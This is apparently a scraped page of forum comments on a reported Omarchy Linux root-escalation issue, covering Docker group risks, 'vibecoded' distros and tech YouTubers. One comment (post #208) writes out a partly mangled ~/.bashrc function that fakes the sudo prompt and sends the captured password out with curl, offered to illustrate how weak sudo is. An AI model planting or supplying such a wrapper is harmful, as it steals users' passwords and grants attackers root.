Earlier quoted context omitted.
[flagged]
No no, be fair -- some of us ridicule everyone using AI and the slop they get it to extrude.
Yes, I know. That is quite juvenile.
Omarchy: Any User Process Can Escalate to Root
201–210 of 590 posts
Re: Omarchy: Any User Process Can Escalate to Root
#202Re: Omarchy: Any User Process Can Escalate to Root
#203Re: Omarchy: Any User Process Can Escalate to Root
#204Re: Omarchy: Any User Process Can Escalate to Root
#205Earlier quoted context omitted.
On average, you can either have a discoverable GUI for noobs, or a configurable, keyboard driven system that's a giant pain to learn and configure. Omarchy aims to find a middle ground between those two.
> either have a discoverable GUI for noobs, or a configurable, keyboard driven system Absolutely wrong. Windows is both and it can be 100% keyboard driven.
Or at least, XP could.
Re: Omarchy: Any User Process Can Escalate to Root
#206A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?
But, this “vulnerability” is the thing everybody knows about docker since forever. I always make my user part of the docker group, so my NixOS also has this, and any Ubuntu I’ve used over the past year. What is different here? Start a docker container with the docker socket mounted in the container and now you can have yourself mount / as rw. Everybody knows this. How is everybody so shocked here. Many instructions o…
This. Was also super confused when I saw the post. Like every docker guide literally screams at you when you use rootfull docker. Either add yourself to the docker group with `newgrp` for a termimal session or use rootless docker.
Re: Omarchy: Any User Process Can Escalate to Root
#207Earlier quoted context omitted.
While I don't want to discuss the quality of any distro vs Windows, there is a big reason most of us use free software: because it is free . Whether for you it is because of free as in freedom or free as in beer specifically, quality may not have much to do with it.
Isn't Windows also basically free? Every laptop I buy has a Windows licence stuck to the bottom of it.
You can also just pirate it.
Re: Omarchy: Any User Process Can Escalate to Root
#208To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }
Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""
I don't think flatpak allows access to hidden files so even those with access $HOME cannot do this.
Re: Omarchy: Any User Process Can Escalate to Root
#209Earlier quoted context omitted.
Ah yes, the solution to software with massive security holes is for everyone to vibe code their own software with massive security holes. But in all seriousness, I am running omarchy now, and I will almost definitely be switching to arch at some point in the future.
Even if you introduce bugs in your UI (which I think is not very likely if you have a basic understanding of your system), the chance that someone would exploit software that literally only runs on your own machine seems extremely unlikely to me. I've been using arch for over 10 years btw.
Isn't the other half of AI that we can afford to look for exploits in one-off software?
Re: Omarchy: Any User Process Can Escalate to Root
#210I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does. (example: NetworkChuck, Primeagen? and a few others) also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it [1] - https://wiki.archlinux.org/title/Archinstall
Add that annoying theo guy to that list. Cant stand these people, they confidently push out videos like they're experts, a week later it turns out whatever they were talking about was total crap and they've already abandoned it - case in point OpenClaw. Look at the mess of videos those named above put out about it, not a single one uses it anymore.
Not a single mention of Pirate Software yet?